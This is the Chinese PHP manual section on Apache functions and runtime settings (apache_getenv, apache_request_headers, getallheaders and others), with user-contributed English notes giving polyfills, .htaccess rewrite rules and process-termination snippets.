安装

PHP 安装到 Apache 参见 安装章节。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

Apache 的 PHP 模块的行为受 php.ini 的设置影响。在 php.ini 中的设置可以被服务器配置文件或本地的 .htaccess 文件中的 php_flag 设置所覆盖。

Example #1 用 .htaccess 禁用一个目录的 PHP 解析

php_flag engine off

Apache 配置选项
名字 | 默认 | 可修改范围 | 更新日志
engine | "1" | PHP_INI_ALL |
child_terminate | "0" | PHP_INI_ALL |
last_modified | "0" | PHP_INI_ALL |
xbithack | "0" | PHP_INI_ALL |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

engine bool

打开或关闭 PHP 解析。本指令仅在使用 PHP 的 Apache 模块版本时才有用。可以基于目录或者虚拟主机来打开或者关闭 PHP。将 engine off 放到 httpd.conf 文件中适当的位置就可以激活或禁用 PHP。

child_terminate bool

指定 PHP 脚本在请求结束后是否可以要求终止子进程。参见 apache_child_terminate()。

last_modified bool

在本次请求中发送一个头信息 Last-Modified:，显示 PHP 脚本最后被修改的日期。

xbithack bool

不管文件结尾是什么，将文件作为 PHP 以可执行位组来解析。

User Contributed Notes

There are no user contributed notes for this page.


Apache 函数

Table of Contents

  • apache_child_terminate — 在本次请求结束后终止 apache 子进程
  • apache_get_modules — 获得已加载的Apache模块列表
  • apache_get_version — 获得Apache版本信息
  • apache_getenv — 获取 Apache subprocess_env 变量
  • apache_lookup_uri — 对指定的 URI 执行部分请求并返回所有有关信息
  • apache_note — 取得或设置 apache 请求记录
  • apache_request_headers — 获取全部 HTTP 请求头信息
  • apache_response_headers — 获得全部 HTTP 响应头信息
  • apache_setenv — 设置 Apache 子进程环境变量
  • getallheaders — 获取全部 HTTP 请求头信息
  • virtual — 执行 Apache 子请求

User Contributed Notes

bgshea at gmail dot com 28-Nov-2005 07:41
here is a dynamic version of henk_nicolai at REMOVE-THIS at hotmail dot com's code

    $req = $_SERVER['REQUEST_URI'];
    // Remove rubbish.
    $newReq = ereg_replace ( $_SERVER['SCRIPT_NAME'] . '[^?]*', $_SERVER['SCRIPT_NAME'], $req);
    if (strlen($newReq) < strlen($req))
    {
        header ('Location: '.$newReq);
        header ('HTTP/1.0 301 Moved Permanently');
        die;  // Don't send any more output.
    }
    unset($req);
    unset($newReq);

this can be placed at the top of any file that is to be access by the URI.
pike 01-Nov-2005 03:16
to henk_nicolai

the behaviour you describe is not a "glitch" of apache :-). an url like
"http://my_server.nl/index.php/foo".  should return the resource http://my_server.nl/index.php and pass "/foo" as PATH_INFO in the environment.

which is extremely usefull if you use it wisely.

for more info on PATH_INFO and PATH_TRANSLATED, see http://nl2.php.net/reserved.variables . PATH_INFO is not related to the php pathinfo() function

$2c,
*pike
outofnet at mail dot ru 27-Aug-2004 07:44
Important info for Apache2 users that have several virtual hosts.

It seems php_flag directive has a different behaviour under Apache 2 (from what it is under 1.3) when used inside <VirtualHost> block.

If you override global php.ini settings with php_flag for one of your virtual host - then your other non-customized virtual hosts may use this overrided settings as well. php_flag records are messed up among different virtual hosts under single Apache 2 server. It may result from Apache 2 multi-thread nature.

Here is an example:

Suppose you have two Virtual hosts: V1 and V2.
For V1 in Apache configuration you use
php_flag magic_quotes_gpc 1
V2 is supposed to use global php.ini settings, so you didn't put any php_flag records into Apache conf for V2 (this worked under Apache 1.3).
And your default php.ini settings are:
php_flag magic_quotes_gpc 0

When you run your server you'll notice that magic quotes is (sometimes) set to On at V2!
The value turns On at V2 when there have been a previous request to V1.

To solve the problem either move php_flag into .htaccess located inside customized virtual host directory OR put php_flag with default settings into all your <VirtualHost> blocks that are not customized. So for V2 put:
php_flag magic_quotes_gpc 0

It is critical to be very carefull with php_flag engine 0.

My configuration is:
PHP 4.3.4, Apache 2.0.50, Linux RedHat 9
henk_nicolai at REMOVE-THIS at hotmail dot com 20-Nov-2002 04:03
My Apache server has a problem when someone enters a URI like: "http://my_server.nl/index.php/". (Note the extra slash.) The server executes the index.php script anyway, which causes the browser directory and the current directory used in the script to be different. And therefore my relative links don't work, and my stylesheet is not loaded. A quick test ("http://www.php.net/manual/en/index.php/") reveals that also this site has this glitch.

When a client requests a directory without the last slash ("http://www.php.net/manual") the server sends a HTTP 301 (Moved Permanently) response with a redirect to the correct URI ("http://www.php.net/manual/"), and my idea was to do the same when the user adds a slash too much:

<?php
   $req = $_SERVER['REQUEST_URI'];
   // Remove rubbish.
   $newReq = ereg_replace ('index.php[^?]*', 'index.php', $req);
   if (strlen($newReq) < strlen($req)) {
     header ('Location: '.$newReq);
     header ('HTTP/1.0 301 Moved Permanently');
     die;  // Don't send any more output.
   }
   unset($req); unset($newReq);

   ... (rest of the script) ...
?>

Replace every occurence of 'index.php' with your filename and you're done. Hope it helps. :-)

(Note: I'm not using fragments in my URI's (like 'index.php#bottom'), and this code may not do what you want if you are using them.)
cjm2 at earthling dot net 10-Jan-2002 03:40
If you are trying to find a Handler to use with apache's mod_mime functions (e.g. SetHandler).  Use the MIME type associated with php.

e.g. SetHandler application/x-httpd-php


在本次请求结束后终止 apache 子进程

  • ? Apache 函数
  • apache_get_modules ?
  • PHP Manual
  • Apache 函数
  • 在本次请求结束后终止 apache 子进程

apache_child_terminate

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

apache_child_terminate — 在本次请求结束后终止 apache 子进程

说明

apache_child_terminate(): void

apache_child_terminate() 将把运行当前 PHP 请求的 Apache 子进程注册为终止状态，一旦结束 PHP 代码的运行此进程将终止。可以用在占用大量内存的脚本后面来终止该进程，因为通常内存只在内部释放而不会还给操作系统。

在 Apache 和 FastCGI 网页服务器中运行。

参数

此函数没有参数。

返回值

没有返回值。

注释

Note: 此函数未在 Windows 平台下实现。

参见

  • exit() - 输出一个消息并且退出当前脚本

User Contributed Notes

jasonlester at nope dot com 23-Dec-2022 12:02
On FastCGI SAPIs this doesn't kill the process, it just makes the fastcgi handler fully recycle PHP at the end of the script rather than just recycling the request state. This includes php-cgi.
Stephan Ferraro 11-Aug-2010 02:39
I found out a solution for Apache 2. However this works only without threads and only on POSIX compatible OS systems (e.g. Linux, OpenSolaris...).

<?php

// Terminate Apache 2 child process after request has been
// done by sending a SIGWINCH POSIX signal (28).
function kill_on_exit() {
 posix_kill( getmypid(), 28 );
}

register_shutdown_function( 'kill_on_exit' );

?>
louis at ewens dot com 29-Jan-2008 04:29
Apache child processes are greedy. If they get bloated by a PHP application that requires a lot of memory, they stay that way. The memory is never given back to the OS until that child dies.

You could use MaxRequestsPerChild in Apache to kill all child processes automatically after a certain number of connections. Or you can use apache_child_terminate to kill the child after your memory intensive functions.

Note: apache_child_terminate is not available in Apache 2.0 handler.
daniele_dll at yahoo dot it 29-Dec-2007 03:18
In response to sam at liddicott dot com:

it isin't so simple! You should never kill an apache process because it is automatically freed when apache need!

And, if you use apache worker or thread based mpm you risk to kill the entire process!

result: DO NOT USE THIS FUNCTION!
admin at hostultra dot com 06-Dec-2007 08:43
this code will add apache_child_terminate() function if it is not already present.

if (!function_exists("apache_child_terminate")){
function apache_child_terminate(){
register_shutdown_function("killonexit");
}

function killonexit(){
@exec("kill ".getmypid());
}
}


获得已加载的Apache模块列表

  • ? apache_child_terminate
  • apache_get_version ?
  • PHP Manual
  • Apache 函数
  • 获得已加载的Apache模块列表

apache_get_modules

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

apache_get_modules — 获得已加载的Apache模块列表

说明

apache_get_modules(): array

获得已加载的Apache模块列表。

参数

此函数没有参数。

返回值

包含已加载的Apache模块的数组.

示例

Example #1 apache_get_modules() 示例

<?php
print_r(apache_get_modules());
?>

以上示例的输出类似于：

Array
(
    [0] => core
    [1] => http_core
    [2] => mod_so
    [3] => sapi_apache2
    [4] => mod_mime
    [5] => mod_rewrite
)

User Contributed Notes

hello at octopuslabs dot io 28-Jul-2020 03:35
apache_get_modules() is only available when the PHP is installed as a module and not as a CGI == It doesn't work with php-fpm.
Anonymous 29-Nov-2013 10:19
<?php
function apache_module_exists($module)
{
    return in_array($module, apache_get_modules());
}
?>
Anonymous 03-Sep-2013 12:07
function apache_module_exists($module_name)
{
    $modules = apache_get_modules();
    return ( in_array($module_name, $modules) ? true : false );
}

var_dump(apache_module_exists('mod_headers'));
fengdingbo at gmail dot com 29-Jul-2013 01:56
<?php
function apache_module_exists($module_name)
{
    $modules = apache_get_modules();
    foreach ($modules as $module)
    {
        if ($module == $module_name)
            return true;
    }

    return false;
}
var_dump(apache_module_exists('mod_headers'));
Vlad Alexa Mancini mancini at nextcode dot org 04-Aug-2005 02:13
this function can be used on older php versions using something like "/etc/httpd/httpd.conf" as $fname

<?php

function get_modules ($fname){
   if (is_readable($fname)){
      $fcont = file($fname);
      if (is_array($fcont)){
          foreach ($fcont as $line){
              if (preg_match ("/^LoadModule\s*(\S*)\s*(\S*)/i",$line,$match)){
                  $return[$match[2]] = $match[1];
              }
          }
      }
   }
   return $return;
}

?>


获得Apache版本信息

  • ? apache_get_modules
  • apache_getenv ?
  • PHP Manual
  • Apache 函数
  • 获得Apache版本信息

apache_get_version

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

apache_get_version — 获得Apache版本信息

说明

apache_get_version(): string|false

获得Apache版本信息。

参数

此函数没有参数。

返回值

成功时返回 Apache 版本信息 或者在失败时返回 false.

示例

Example #1 apache_get_version() 示例

<?php
$version = apache_get_version();
echo "$version\n";
?>

以上示例的输出类似于：

Apache/1.3.29 (Unix) PHP/4.3.4

参见

  • phpinfo() - 输出关于 PHP 配置的信息

User Contributed Notes

M. Agius 30-Jul-2022 06:34
On my server apache_get_version() will end all web page output, just like die(), with no errors.

So use;
<?php
if(function_exists("apache_get_version")){
  $AVerpache = apache_get_version();
} else {
  $AVerpache = "unknown";
}
print $AVerpache;
?>
The following may work on your server and return "Apache/x.x.xx"
<?php
print $_SERVER["SERVER_SOFTWARE"];
?>
but on mine it only returns "Apache".
ladislav at prskavec dot net 07-Jun-2007 01:44
apache_get_version() - depends on settings in httpd.conf ServerTokens

Examples:

ServerTokens Full - Apache/2.0.55 (Win32) DAV/2
ServerTokens OS - Apache/2.0.55 (Win32)
ServerTokens Minor - Apache/2.0
ServerTokens Minimal - Apache/2.0.55
ServerTokens Major - Apache/2
ServerTokens Prod - Apache


获取 Apache subprocess_env 变量

  • ? apache_get_version
  • apache_lookup_uri ?
  • PHP Manual
  • Apache 函数
  • 获取 Apache subprocess_env 变量

apache_getenv

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

apache_getenv — 获取 Apache subprocess_env 变量

说明

apache_getenv(string $variable, bool $walk_to_top = false): string|false

获取 variable 指定的环境变量。

参数

variable

Apache 环境变量

walk_to_top

是否获取对Apache各层可用的顶层变量

返回值

成功时返回 Apache 环境变量值，失败时返回 false

示例

Example #1 apache_getenv() 示例

该示例显示如何取得 Apache 环境变量 SERVER_ADDR的值。

<?php
$ret = apache_getenv("SERVER_ADDR");
echo $ret;
?>

以上示例的输出类似于：

42.24.42.240

参见

  • apache_setenv() - 设置 Apache 子进程环境变量
  • getenv() - 获取单个或者全部环境变量
  • 超全局变量

User Contributed Notes

Anonymous 22-May-2018 10:49
This manual page is unclear as to whether it will fetch Apache configuration environment variables set by "SetEnv" (including "SetEnvIf[NoCase]" or "BrowserMatch" e.g.) as the only example given is with a pre-defined CGI interface variable (which is also available via the $_SERVER[] array).  If custom Apache runtime configuration variables are indeed fetchable via this interface, let's say so or give an example of such.
elhachmi at gmail dot com 27-Feb-2013 02:37
apache_getenv(key) does not work on an php cgi installation, in this case rather use $_SERVER["REDIRECT_key"]


对指定的 URI 执行部分请求并返回所有有关信息

  • ? apache_getenv
  • apache_note ?
  • PHP Manual
  • Apache 函数
  • 对指定的 URI 执行部分请求并返回所有有关信息

apache_lookup_uri

(PHP 4, PHP 5, PHP 7, PHP 8)

apache_lookup_uri — 对指定的 URI 执行部分请求并返回所有有关信息

说明

apache_lookup_uri(string $filename): object|false

本函数对一个 URL 执行部分请求。取得所有有关给定资源的重要信息后就停手。

仅在 PHP 以 Apache 模块运行时，才支持此函数。

参数

filename

被请求的文件名（URI）。

返回值

一个有关 URI 信息的 object。此 object 的属性有：

  • status
  • the_request
  • status_line
  • method
  • content_type
  • handler
  • uri
  • filename
  • path_info
  • args
  • boundary
  • no_cache
  • no_local_copy
  • allowed
  • send_bodyct
  • bytes_sent
  • byterange
  • clength
  • unparsed_uri
  • mtime
  • request_time

失败时返回 false。

示例

Example #1 apache_lookup_uri() 例子

<?php
$info = apache_lookup_uri('index.php?var=value');
print_r($info);

if (file_exists($info->filename)) {
echo 'file exists!';
}
?>

以上示例的输出类似于：

stdClass Object
(
    [status] => 200
    [the_request] => GET /dir/file.php HTTP/1.1
    [method] => GET
    [mtime] => 0
    [clength] => 0
    [chunked] => 0
    [content_type] => application/x-httpd-php
    [no_cache] => 0
    [no_local_copy] => 1
    [unparsed_uri] => /dir/index.php?var=value
    [uri] => /dir/index.php
    [filename] => /home/htdocs/dir/index.php
    [args] => var=value
    [allowed] => 0
    [sent_bodyct] => 0
    [bytes_sent] => 0
    [request_time] => 1074282764
)
file exists!

User Contributed Notes

tester 12-Feb-2008 05:01
bug: with apache 2, apache_lookup_uri("/directory") spits out a warning and fails to return anything.  apache_lookup_uri("/directory/") works.

another bug: virtual("something") forces a header flush.  I know it's documented, but it would be rather wonderful if it didn't do this.  You never ever want to flush headers when you're using virtual() to include a dynamic file such as a PHP or Perl file, which excludes virtual() from being used on most of any website's contents :-(.
niels dot kootstra at gmail dot com 08-Feb-2008 04:04
It's a very usefull function but it doesn't show all outputs. For example I only see:
[status]
[the_request]
[method]
[mtime]
[clength]
[chunked]
[content_type]
[no_cache]
[no_local_copy]
[unparsed_uri]
[uri]
[filename]
[path_info]
[allowed]
[sent_bodyct]
[bytes_sent]
[request_time]
redbeard at mdjohnson dot nospam dot us 17-Apr-2003 05:15
A useful feature is that if you have content negotiation on (Options MultiViews) Apache will resolve the negotiation for you if possible.  Thus www.example.com/blah will resolve to /base/blah.php or /base/blah.html or even /base/blah.en.html as appropriate.


取得或设置 apache 请求记录

  • ? apache_lookup_uri
  • apache_request_headers ?
  • PHP Manual
  • Apache 函数
  • 取得或设置 apache 请求记录

apache_note

(PHP 4, PHP 5, PHP 7, PHP 8)

apache_note — 取得或设置 apache 请求记录

说明

apache_note(string $note_name, ?string $note_value = null): string|false

这个函数是 Apache table_get 和 table_set 的包装。 它编辑了请求中存在的 notes 表。 这个表的目的是允许 Apache 模块进行通讯。

apache_note() 的主要用途是在同一个请求中，从一个模块传递信息到另一个模块。

参数

note_name

note 名。

note_value

note 值。

返回值

如果 note_value 被省略或者为 null，则返回记录 note_name 的当前值。否则将记录 note_name 的值设为 note_value 并返回记录 note_name 的前一个值。如果未能获取记录，则返回 false。

更新日志

版本 | 说明
8.0.0 | 现在 note_value 可为 null。

示例

Example #1 在 PHP 与 Perl 之间传递信息

<?php

apache_note('name', 'Fredrik Ekengren');

// 调用 perl 脚本
virtual("/perl/some_script.pl");

$result = apache_note("resultdata");
?>
# 获取 Apache 请求对象
my $r = Apache->request()->main();

# 获取传递的数据
my $name = $r->notes('name');

# 一些处理

# 将结果返回给 PHP
$r->notes('resultdata', $result);

Example #2 在 access.log 中记录值

<?php

apache_note('sessionID', session_id());

?>
# "%{sessionID}n" can be used in the LogFormat directive

参见

  • virtual() - 执行 Apache 子请求

User Contributed Notes

There are no user contributed notes for this page.


获取全部 HTTP 请求头信息

  • ? apache_note
  • apache_response_headers ?
  • PHP Manual
  • Apache 函数
  • 获取全部 HTTP 请求头信息

apache_request_headers

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

apache_request_headers — 获取全部 HTTP 请求头信息

说明

apache_request_headers(): array

获取当前请求的所有请求头信息。 可在 Apache、FastCGI、CLI、FPM 模式下运行。

参数

此函数没有参数。

返回值

包含当前请求所有头信息的数组，失败返回 false。

更新日志

版本 | 说明
7.3.0 | 此函数可用于 FPM SAPI 模式。

示例

Example #1 apache_request_headers() 示例

<?php
$headers = apache_request_headers();

foreach ($headers as $header => $value) {
echo "$header: $value <br />\n";
}
?>

以上示例的输出类似于：

Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0
Host: www.example.com
Connection: Keep-Alive

注释

Note:

你也可以试图从环境变量中读取普通CGI变量，PHP以Apache模块方式运行时有可能无法获得。使用phpinfo()获得可读取的变量列表。 环境变量.

参见

  • apache_response_headers() - 获得全部 HTTP 响应头信息

User Contributed Notes

gilles at sdv dot fr 15-Dec-2022 11:12
The function apache_request_headers, doesn't exist in FCGI PHP-FPM

Use this patch : https://gist.github.com/rmpel/11583cfddfcc9705578428e3a2ee3dc1

<?php
// Drop-in replacement for apache_request_headers() when it's not available

if ( ! function_exists( 'apache_request_headers' ) ) {
    function apache_request_headers() {
        static $arrHttpHeaders;
        if ( ! $arrHttpHeaders ) {

            // Based on: http://www.iana.org/assignments/message-headers/message-headers.xml#perm-headers
            $arrCasedHeaders = array(
                // HTTP
                'Dasl'             => 'DASL',
                'Dav'              => 'DAV',
                'Etag'             => 'ETag',
                'Mime-Version'     => 'MIME-Version',
                'Slug'             => 'SLUG',
                'Te'               => 'TE',
                'Www-Authenticate' => 'WWW-Authenticate',
                // MIME
                'Content-Md5'      => 'Content-MD5',
                'Content-Id'       => 'Content-ID',
                'Content-Features' => 'Content-features',
            );
            $arrHttpHeaders  = array();

            foreach ( $_SERVER as $strKey => $mixValue ) {
                if ( 'HTTP_' !== substr( $strKey, 0, 5 ) ) {
                    continue;
                }

                $strHeaderKey = strtolower( substr( $strKey, 5 ) );

                if ( 0 < substr_count( $strHeaderKey, '_' ) ) {
                    $arrHeaderKey = explode( '_', $strHeaderKey );
                    $arrHeaderKey = array_map( 'ucfirst', $arrHeaderKey );
                    $strHeaderKey = implode( '-', $arrHeaderKey );
                } else {
                    $strHeaderKey = ucfirst( $strHeaderKey );
                }

                if ( array_key_exists( $strHeaderKey, $arrCasedHeaders ) ) {
                    $strHeaderKey = $arrCasedHeaders[ $strHeaderKey ];
                }

                $arrHttpHeaders[ $strHeaderKey ] = $mixValue;
            }

            /** in case you need authorization and your hosting provider has not fixed this for you:
             * VHOST-Config:
             * FastCgiExternalServer line needs    -pass-header Authorization
             *
             * .htaccess or VHOST-config file needs:
             * SetEnvIf Authorization "(.*)" HTTP_AUTHORIZATION=$1
             * to add the Authorization header to the environment for further processing
             */
            if ( ! empty( $arrHttpHeaders['Authorization'] ) ) {
                // in case of Authorization, but the values not propagated properly, do so :)
                if ( ! isset( $_SERVER['PHP_AUTH_USER'] ) ) {
                    list( $_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW'] ) = explode( ':', base64_decode( substr( $_SERVER['HTTP_AUTHORIZATION'], 6 ) ) );
                }
            }
        }

        return $arrHttpHeaders;
    }

    // execute now so other scripts have little chance to taint the information in $_SERVER
    // the data is cached, so multiple retrievals of the headers will not cause further impact on performance.
    apache_request_headers();
}
Tel 26-Sep-2019 01:54
Although we expect to see headers in mixed case, the standard RFC2616 demands that "field names are case-insensitive". PHP delivers the headers exactly untouched in whatever way the client sent them. Potentially you should expect to get any type of uppercase or lowercase or mixed.

Thus, if you want to be standards compliant, you must loop through every key and check it in a case-insensitive manner, instead of doing the obvious thing and using the name of the header as an array index.
egocentryk 03-Feb-2015 11:13
Superglobal $_SERVER,  used in all patches for missing getallheaders() contains only truly basic headers.  To pass ANY header into PHP in any httpd environment, including CGI/FCGI just add rule (any number of rules) into .htaccess:

RewriteRule .* - [E=HTTP_MY_HEADER:%{HTTP:My-Header}]

and the header with it's value will appear for PHP as
<?php print $_SERVER['HTTP_MY_HEADER']; ?>

And... just couldn't hold off. Rewrtiting $_SERVER keys for replacing missing function really does not require RegExps, preg_matches or evals... Try this:
<?php
function getallheaders() {
  foreach($_SERVER as $K=>$V){$a=explode('_' ,$K);
      if(array_shift($a)=='HTTP'){
           array_walk($a,function(&$v){$v=ucfirst(strtolower($v));});
       $retval[join('-',$a)]=$V;}
    } return $retval; }
 ?>
uli dot staerk at globalways dot net 16-Dec-2014 09:22
A slightly modified version from  limalopex.eisfux.de. Fixes the missing Headers Content-Type and Content-Length and makes it Camel-Case.

<?php
if( !function_exists('apache_request_headers') ) {
        function apache_request_headers() {
                $arh = array();
                $rx_http = '/\AHTTP_/';
                foreach($_SERVER as $key => $val) {
                        if( preg_match($rx_http, $key) ) {
                                $arh_key = preg_replace($rx_http, '', $key);
                                $rx_matches = array();
                                // do some nasty string manipulations to restore the original letter case
                                // this should work in most cases
                                $rx_matches = explode('_', strtolower($arh_key));
                                if( count($rx_matches) > 0 and strlen($arh_key) > 2 ) {
                                        foreach($rx_matches as $ak_key => $ak_val) $rx_matches[$ak_key] = ucfirst($ak_val);
                                        $arh_key = implode('-', $rx_matches);
                                }
                                $arh[$arh_key] = $val;
                        }
                }
                if(isset($_SERVER['CONTENT_TYPE'])) $arh['Content-Type'] = $_SERVER['CONTENT_TYPE'];
                if(isset($_SERVER['CONTENT_LENGTH'])) $arh['Content-Length'] = $_SERVER['CONTENT_LENGTH'];
                return( $arh );
        }
}
callum85 at notspam dot msn dot com 18-Apr-2007 11:07
There is a simple way to get request headers from Apache even on PHP running as a CGI. As far as I know, it's the only way to get the headers "If-Modified-Since" and "If-None-Match" when apache_request_headers() isn't available. You need mod_rewrite, which most web hosts seem to have enabled. Put this in an .htacess file in your web root:

RewriteEngine on
RewriteRule .* - [E=HTTP_IF_MODIFIED_SINCE:%{HTTP:If-Modified-Since}]
RewriteRule .* - [E=HTTP_IF_NONE_MATCH:%{HTTP:If-None-Match}]

The headers are then available in PHP as
<?php
  $_SERVER['HTTP_IF_MODIFIED_SINCE'];
  $_SERVER['HTTP_IF_NONE_MATCH'];
?>

I've tested this on PHP/5.1.6, on both Apache/2.2.3/Win32 and Apache/2.0.54/Unix, and it works perfectly.

Note: if you use RewriteRules already for clean URLs, you need to put the above rules AFTER your existing ones.
limalopex.eisfux.de 29-Oct-2006 09:01
I didn't found a replacement for apache_request_headers() in PHP::Compat (http://pear.php.net/package/PHP_Compat) so I wrote my own:

<?php
if( !function_exists('apache_request_headers') ) {
///
function apache_request_headers() {
  $arh = array();
  $rx_http = '/\AHTTP_/';
  foreach($_SERVER as $key => $val) {
    if( preg_match($rx_http, $key) ) {
      $arh_key = preg_replace($rx_http, '', $key);
      $rx_matches = array();
      // do some nasty string manipulations to restore the original letter case
      // this should work in most cases
      $rx_matches = explode('_', $arh_key);
      if( count($rx_matches) > 0 and strlen($arh_key) > 2 ) {
        foreach($rx_matches as $ak_key => $ak_val) $rx_matches[$ak_key] = ucfirst($ak_val);
        $arh_key = implode('-', $rx_matches);
      }
      $arh[$arh_key] = $val;
    }
  }
  return( $arh );
}
///
}
///
?>


获得全部 HTTP 响应头信息

  • ? apache_request_headers
  • apache_setenv ?
  • PHP Manual
  • Apache 函数
  • 获得全部 HTTP 响应头信息

apache_response_headers

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

apache_response_headers — 获得全部 HTTP 响应头信息

说明

apache_response_headers(): array|false

获得全部 HTTP 响应头信息。 可在 Apache、FastCGI、CLI、FPM 模式下运行。

参数

此函数没有参数。

返回值

成功时返回包含全部 Apache 响应头信息的数组， 或者在失败时返回 false.

示例

Example #1 apache_response_headers() 示例

<?php
print_r(apache_response_headers());
?>

以上示例的输出类似于：

Array
(
    [Accept-Ranges] => bytes
    [X-Powered-By] => PHP/4.3.8
)

参见

  • apache_request_headers() - 获取全部 HTTP 请求头信息
  • headers_sent() - 检测消息头是否已经发送
  • headers_list() - 返回已发送的 HTTP 响应头（或准备发送的）

User Contributed Notes

Anonymous 11-Sep-2016 03:01
call it after the you send the output to get all the headers
php at mailplus dot pl 18-Feb-2011 01:11
I get  "Call to undefined function apache_response_headers()" when using php-cli so be aware of lack of this function CLI.
In my case I was trying to test my app via phpunit (command line tool of course ;)) if it sends proper headers.
Isaac Z dot Schlueter i at foohack dot com 28-May-2009 08:57
This function doesn't exist on lighttpd, so I wrote this little function to emulate it:

<?php

if (!function_exists('apache_response_headers')) {
    function apache_response_headers () {
        $arh = array();
        $headers = headers_list();
        foreach ($headers as $header) {
            $header = explode(":", $header);
            $arh[array_shift($header)] = trim(implode(":", $header));
        }
        return $arh;
    }
}

?>
Daniel Lorch 24-May-2007 09:53
Addendum: The code

<pre>
<?php
  print_r(apache_request_headers());
?>
</pre>

gives me

 Array
 (
    [X-Powered-By] => PHP/5.1.6
 )

But the code
<pre>
<?php
  ob_end_flush();
  print_r(apache_request_headers());
?>
</pre>

Results in

 Array
 (
    [Content-Location] => phpinfo.de.php
    [Vary] => negotiate
    [TCN] => choice
    [X-Powered-By] => PHP/5.1.6
    [Keep-Alive] => timeout=15, max=96
    [Connection] => Keep-Alive
    [Transfer-Encoding] => chunked
    [Content-Type] => text/html
    [Content-Language] => de
 )
Daniel Lorch 24-May-2007 09:46
I can confirm athlet's experience with apache_response_headers() using PHP 5.1.6. When the resulting array is empty or only contains "X-Powered-By" instead of the full list of values, you'll need to switch off output_buffering _before_ the script has been executed, for example with the following directive in .htaccess:

php_value "output_buffering" "0"

it _doesn't_ work when you do a you ini_set('output_buffering', 0); in your script. Not sure why that is so - it is not a bug in PHP, but probably has to do with how Apache populates the request values.
athlet 01-Feb-2006 09:37
For apache_response_headers() working good, you need to set  up output_buffering = Off in php.ini
orange 05-Sep-2005 08:17
If apache_response_headers() returns an empty array, try calling flush() before and it'll get filled.


设置 Apache 子进程环境变量

  • ? apache_response_headers
  • getallheaders ?
  • PHP Manual
  • Apache 函数
  • 设置 Apache 子进程环境变量

apache_setenv

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

apache_setenv — 设置 Apache 子进程环境变量

说明

apache_setenv(string $variable, string $value, bool $walk_to_top = false): bool

apache_setenv() 设置由variable指定的 Apache 环境变量值。

Note:

当设置了某 Apache 环境变量, 相应的 $_SERVER 变量不会改变。

参数

variable

将被设置的环境变量。

value

新 variable 值。

walk_to_top

是否将所设置的顶层变量应用到所有 Apache 层。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 使用 apache_setenv() 设置一个 Apache 环境变量

<?php
apache_setenv("EXAMPLE_VAR", "Example Value");
?>

注释

Note:

apache_setenv() 可与 apache_getenv() 配合使用，以在不同页面间传递变量，或将 PHP 脚本中已设置变量传入 Server Side Includes (.shtml)页面。

参见

  • apache_getenv() - 获取 Apache subprocess_env 变量

User Contributed Notes

RLG 10-Jan-2006 04:16
If you are using mod_gzip or mod_deflate to compress HTML output, you're not able to send partial file to the browser....

To disable mod_deflate in PHP (if needed), you can tell Apache with this :

apache_setenv('no-gzip', '1');
guilleva at gmail dot com 28-Jul-2005 10:25
When you need to set the QUERY_STRING variable into a page included with the "virtual" function do this:

virtual ("some_page.shtml?$QUERY_STRING");

apache_setenv does not work for this case.
phpnotes at kipu dot co dot uk 03-Jun-2003 06:34
If you set a variable, either new or existing, the corresponding $_SERVER variable is not changed, and you will have to change it as well.
sixxgate at yahoo dot com 22-Jan-2003 03:56
When you want to set variables to pass to Server Side Includes (.shtml) included in PHP scripts, use this.


获取全部 HTTP 请求头信息

  • ? apache_setenv
  • virtual ?
  • PHP Manual
  • Apache 函数
  • 获取全部 HTTP 请求头信息

getallheaders

(PHP 4, PHP 5, PHP 7, PHP 8)

getallheaders — 获取全部 HTTP 请求头信息

说明

getallheaders(): array

获取当前请求的所有请求头信息。

此函数是 apache_request_headers()的别名。 请阅读 apache_request_headers() 文档获得更多信息。

参数

此函数没有参数。

返回值

包含当前请求所有头信息的数组，失败返回 false 。

更新日志

版本 | 说明
7.3.0 | 该函数可以在 FPM SAPI 中使用。

示例

Example #1 getallheaders() 示例

<?php

foreach (getallheaders() as $name => $value) {
echo "$name: $value\n";
}

?>

参见

  • apache_response_headers() - 获得全部 HTTP 响应头信息

User Contributed Notes

divinity76 at gmail dot com 18-Jan-2023 02:21
warning, at least on php-fpm 8.2.1 and nginx,  getallheaders() will return "Content-Length" and "Content-Type" both containing emptystring, even for requests without any of these 2 headers. you can do something like

<?php
$request_headers = getallheaders();
if(($request_headers["Content-Type"] ?? null) === "" && ($request_headers["Content-Length"] ?? null) === "") {
    // probably a getallheaders() bug, not actual request headers.
    unset($request_headers["Content-Type"], $request_headers["Content-Length"]);
}
?>

- might be a bug in nginx rather than php-fpm, i don't know. anyway a real request wouldn't leave them at emptystring
Dimitri 22-Jun-2022 09:09
retrieve token from header:

<?php
function getAuthorizationHeader(){
    $headers = null;
    if (isset($_SERVER['Authorization'])) {
        $headers = trim($_SERVER["Authorization"]);
    }
    elseif (isset($_SERVER['HTTP_AUTHORIZATION'])) {
        $headers = trim($_SERVER["HTTP_AUTHORIZATION"]);
    }
    elseif (function_exists('apache_request_headers')) {
        $requestHeaders = apache_request_headers();
        $requestHeaders = array_combine(array_map('ucwords', array_keys($requestHeaders)), array_values($requestHeaders));

        if (isset($requestHeaders['Authorization'])) {
            $headers = trim($requestHeaders['Authorization']);
        }
    }

    return $headers;
}

function getBearerToken() {
    $headers = getAuthorizationHeader();

    if (!empty($headers)) {
        if (preg_match('/Bearer\s(\S+)/', $headers, $matches)) {
            return $matches[1];
        }
    }

    return null;
}

echo getBearerToken();
?>
michaelmcandrew at thirdsectordesign dot org 28-Feb-2020 11:18
A simple approach to dealing with case insenstive headers (as per RFC2616) is via the built in array_change_key_case() function:

$headers = array_change_key_case(getallheaders(), CASE_LOWER);
andersmyren at hotmail dot com 25-Jul-2019 07:52
Due to the else part.
}else{
                    $out[$key]=$value;
All server Variables are added to the headers list, and that's not the desired outcome.
Anonymous 11-Feb-2016 06:49
